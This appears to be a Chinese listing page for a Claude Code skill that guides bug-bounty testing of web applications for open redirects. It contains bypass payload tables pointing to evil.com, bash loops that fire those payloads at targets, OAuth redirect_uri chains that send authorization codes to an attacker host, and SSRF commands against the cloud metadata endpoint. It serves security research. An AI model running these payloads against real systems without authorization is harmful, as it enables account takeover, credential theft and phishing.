关于 hunt-open-redirect
用于发现 Web 应用开放重定向问题的安全测试技能,面向安全研究人员,涵盖参数探测、绕过测试及与 OAuth、SSRF 等问题的组合验证。
主要功能
- 01重定向参数探测
- 02URL 校验绕过载荷
- 03OAuth redirect_uri 链式测试
- 04服务端重定向与 SSRF 检查
- 05严重性与结果验证指南
适用场景
- 01评估登录和退出流程的重定向参数
- 02测试 OAuth 授权端点的 redirect_uri
- 03检查重定向是否可组合为钓鱼或 SSRF
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-open-redirect安装后在 Claude Code 中输入/hunt-open-redirect确认已加载。
详细介绍
HUNT-OPEN-REDIRECT — 开放重定向
适用场景
当目标存在任何重定向参数时使用,例如登录/登出流程、OAuth 授权端点、语言切换器、支付重定向中使用的 ?url=、?next=、?redirect=、?return=、?redirect_uri= 或类似参数,或任何用于控制用户在执行某项操作后跳转到何处的参数。单独的开放重定向在大多数项目中危害较低,但如果与 OAuth 令牌窃取(绕过 redirect_uri)或 SSRF 升级利用链结合,危害会升至严重。任何可配置 redirect_uri 的 OAuth 授权端点都是价值最高的目标。
核心目标
单独的开放重定向危害较低。与 OAuth 利用链结合时危害为严重(ATO)。
价值最高的利用链:
- 开放重定向 → OAuth 授权码窃取 —
redirect_uri中包含可信域名上的开放重定向 → 授权码发送给攻击者 → ATO - 开放重定向 → 网络钓鱼 — 用户会信任该 URL,因为它以
target.com开头 - 开放重定向 → SSRF 升级利用 — 如果服务端跟随重定向 → SSRF
- 开放重定向 → 会话固定 — 强制用户访问预设了会话的登录端点
攻击面信号
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
绕过方式表
| 技术 | 载荷 |
|---|---|
| 基本方式 | https://evil.com |
| 协议相对地址 | //evil.com |
| 反斜杠绕过 | /\\evil.com |
| @ 符号混淆 | https://[email protected] |
| 双斜杠 | //evil.com/%2F.. |
| URL 编码 | %2Fevil.com |
| 空字节 | evil.com%00target.com |
| 空白字符 | evil.com%09 或 %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| 子域名 | https://target.com.evil.com |
| 片段 | https://evil.com#.target.com |
常见根本原因
- 参数白名单缺少校验 — 开发者会维护重定向参数列表(
url、next、return),但只验证参数是否存在,不验证参数值。 - 便于用户使用的重定向功能 — 登录后重定向、登出重定向和语言切换功能都需要重定向到用户控制的目标地址。
- 第三方 OAuth/SAML 库 — 许多身份验证库允许宽松地配置
redirect_uri校验(前缀匹配、后缀匹配、通配符),从而匹配攻击者控制的子域名。 - SSO 实现走捷径 — 开发者将
redirect_uri配置为接受当前请求的 Host 标头,从而允许通过 Host 标头实现开放重定向。 - 认为 JSON 请求体是安全的 — API 请求中基于 POST 的重定向参数经常跳过 GET 重定向会执行的校验。
- 片段和换行符处理 — URL 解析器对 URL 结束位置的判断并不一致;换行符和回车符可能绕过 URL 校验。
真实案例
场景 A — OAuth redirect_uri 通配符 → 一键账户接管(ATO)
某网约车平台的 OAuth 实现接受匹配 *.uberinternal.com 的 redirect_uri 值。攻击者发现 support.uberinternal.com 是一个可被认领的悬空子域名。通过构造带有 redirect_uri=https://support.uberinternal.com/oauth-callback 的授权 URL,攻击者可以截获点击链接的任意用户的授权码,将其兑换为访问令牌,并完全接管账户。影响:严重——通过一个精心构造的链接即可完全接管用户账户。
场景 B — 密码重置邮件中的注销重定向 → 会话劫持
某大型电商平台的密码重置邮件中包含一个带有 redirect_to 参数的注销链接:https://target.com/logout?redirect_to=https://target.com/reset-complete。redirect_to 参数接受任意 URL,包括 https://evil.com。能够截获重置邮件的攻击者(通过邮箱失陷或中间人攻击)可以修改重定向目标。受害者重置密码后,会被重定向到攻击者的网站,而新的会话 Cookie 仍然有效,可用于跨源窃取。影响:密码重置后的会话劫持。
分步测试方法
阶段 1 — 发现重定向参数
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
阶段 2 — 基本测试
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl --max-time 30 --connect-timeout 10 -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
阶段 3 — 绕过技巧
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://[email protected]"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl --max-time 30 --connect-timeout 10 -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
阶段 4 — OAuth 链式测试
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl --max-time 30 --connect-timeout 10 -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
阶段 5 — 服务端重定向(SSRF 升级)
# If the app fetches the redirect target server-side (302 fetch follow)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-[REDACTED_IP]/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/fetch?url=http://[REDACTED_IP]/latest/meta-data/" \
-H "Cookie: $SESSION"
自动化
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
漏洞链表
| 开放重定向发现 | 链接到 | 影响 |
|---|---|---|
| 任意开放重定向 | OAuth redirect_uri 绕过 | 授权码窃取 → ATO |
| 任意开放重定向 | 使用目标域名的钓鱼 URL | 社会工程 |
| 服务端重定向 | 通过跟随重定向实施 SSRF | 访问内部服务 |
| 注销重定向 | 会话固定 | 使用已知会话强制登录 |
验证
✅ 响应中的 Location 标头指向 evil.com(你控制的域名) ✅ 浏览器跟随重定向到攻击者控制的页面
严重性:
- 仅重定向:低(大多数项目)
- 链接到 OAuth 授权码窃取 → ATO:高/严重
- 链接到使用品牌名称的钓鱼:低至中
- 服务端重定向 → SSRF:高
验证测试
运行此自检,确认已准备好测试开放重定向:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-open-redirect" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
这 3 项测试可验证技能结构正确且已准备就绪。
陷阱
- 开放重定向本身影响较低 — 大多数漏洞赏金项目对未与 OAuth/ATO 漏洞链结合的开放重定向仅给予低级别评级。
- 重定向中的
javascript:协议 — 重定向参数中的javascript:alert(1)属于 XSS,而非开放重定向。请区分两者。 - 重定向中的 CRLF 注入 — 重定向参数中的
%0d%0a可实现标头注入。其影响高于开放重定向。 - Meta refresh 重定向 —
<meta http-equiv="refresh">重定向比 3xx 更难利用。请记录攻击场景(钓鱼,而非自动化攻击)。
相关技能
hunt-oauth— OAuthredirect_uri中的开放重定向会将 Low 级发现升级为 Critical 级账户接管(ATO)。利用链:redirect_uri=https://target.com/redirect?url=https://evil.com→ 授权码落到 evil.com → 兑换为令牌 → 账户接管。hunt-ssrf— 如果 302 重定向是在服务端跟随的(图片代理、链接预览),开放重定向就会变成 SSRF。利用链:服务端 URL 获取器跟随从攻击者主机指向http://[REDACTED_IP]/latest/meta-data/的 302 → 云凭据。hunt-ato— 密码重置链接的返回 URL 中若包含开放重定向,就会泄露令牌。利用链:重置邮件包含https://target.com/reset?token=X&redirect=https://evil.com→ 通过 Referer 或重定向窃取令牌。hunt-xss— 重定向参数中的javascript:协议会造成单击式 XSS。利用链:?redirect=javascript:alert(document.cookie)→ 无需服务端注入即可窃取会话 Cookie。hunt-host-header— 通过 Host 标头注入实现的开放重定向与此类别重叠。利用链:Host: evil.com → 服务器根据 Host 构建重定向 Location → 受害者被重定向到攻击者主机。security-arsenal— 加载开放重定向绕过表:协议相对 URL//evil.com、反斜杠\\evil.com、at 符号@evil.com、双斜杠编码、空字节、空白注入、data: URI。triage-validation— 应用严重性预判门槛。单独的开放重定向在大多数项目中属于 Low 级。只有在证明存在利用链(OAuth 令牌窃取、会话固定、SSRF 升级)后,才按 High 级及以上提交。